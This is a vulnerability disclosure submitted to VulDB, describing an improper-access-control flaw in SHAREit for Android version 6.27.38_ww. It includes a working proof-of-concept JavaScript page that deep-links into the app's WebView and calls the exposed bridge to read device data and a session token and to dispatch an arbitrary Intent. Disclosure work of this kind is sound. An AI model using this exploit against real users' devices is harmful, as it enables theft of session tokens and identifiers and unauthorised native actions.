| 제목 | SHAREit SHAREit: Transfer, Share Files for Android [https://play.google.com/store/apps/details?id=com.lenovo.anyshare.gps] Version 6.27.38_ww Improper Access Controls |
|---|
| 설명 | Summary
SHAREit's command-21 hybrid route accepts an HTTPS URL and loads it in an application WebView. That WebView exposes window.shareitBridge to the loaded page. Arbitrary page JavaScript can call the generic syncInvoke and asyncInvoke dispatchers to obtain privileged information or request native operations.
Attack Chain
Attacker-controlled HTTPS page
-> package-pinned shareits://hybrid/21 deep link
-> SHAREit HybridLocalActivity loads attacker URL
-> attacker JavaScript invokes window.shareitBridge
-> GAID, device data, and session data are returned
-> executeSystemEvent parses and dispatches attacker-supplied Intent URI
The initial page visit is the only user interaction required by the demonstrated chain. Chrome or Android may show an external-application confirmation depending on platform and link-handling configuration.
Proof of Concept
The hosted HTTPS page first routes itself into SHAREit when the bridge is not present:
const page = encodeURIComponent(location.href);
if (!window.shareitBridge) {
location.href =
`intent://hybrid/21?url=${page}` +
`#Intent;scheme=shareits;package=com.lenovo.anyshare.gps;end`;
}
When the same page loads inside SHAREit, it invokes the exposed bridge:
const device = shareitBridge.syncInvoke("web", "getDeviceInfo", "");
const login = shareitBridge.syncInvoke("web", "getLoginInfo", "");
shareitBridge.asyncInvoke(
"web",
"executeSystemEvent",
"callback",
JSON.stringify({
event: "1",
uri: "intent:#Intent;action=android.intent.action.MAIN;" +
"category=android.intent.category.LAUNCHER;" +
"package=com.google.android.calculator;end"
})
);
Observed Result
getDeviceInfo returned the GAID, device model, OS details, application version, and release channel.
getLoginInfo returned a SHAREit user ID and session token.
executeSystemEvent accepted the supplied Intent URI and launched Google Calculator.
window.client and its historical direct methods were absent.
window.shareitBridge.syncInvoke, asyncInvoke, and inject were present.
Sensitive runtime values are intentionally redacted from this report.
Security Impact
An attacker-controlled page loaded through SHAREit's hybrid route can combine sensitive identifier disclosure, session-material disclosure, and native Intent dispatch from the SHAREit application context. The minimized proof of concept launches Calculator, while static analysis shows that the same dispatcher also contains Broadcast and Service modes.
The central security-boundary failure is that remote web content receives access to native methods that operate with SHAREit's identity, permissions, and access to its own non-exported components. Component-specific effects should be reported separately as dynamically confirmed or statically reachable to avoid overstating impact.
|
|---|
| 원천 | ⚠️ https://docs.google.com/document/d/1fCwVC56rkH_qBLhMI_1nQOjq6w_pEGCF/edit?usp=sharing&ouid=100768766778062598194&rtpof=true&sd=true |
|---|
| 사용자 | Actuator (UID 67941) |
|---|
| 제출 | 2026. 09. 11. PM 06:39 (1 월 ago) |
|---|
| 모더레이션 | 2026. 10. 11. PM 04:30 (30 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 416688 [Smart Media4U Technology SHAREit App 6.27.38_ww 켜짐 Android WebView JS Bridge syncInvoke 권한 상승] |
|---|
| 포인트들 | 20 |
|---|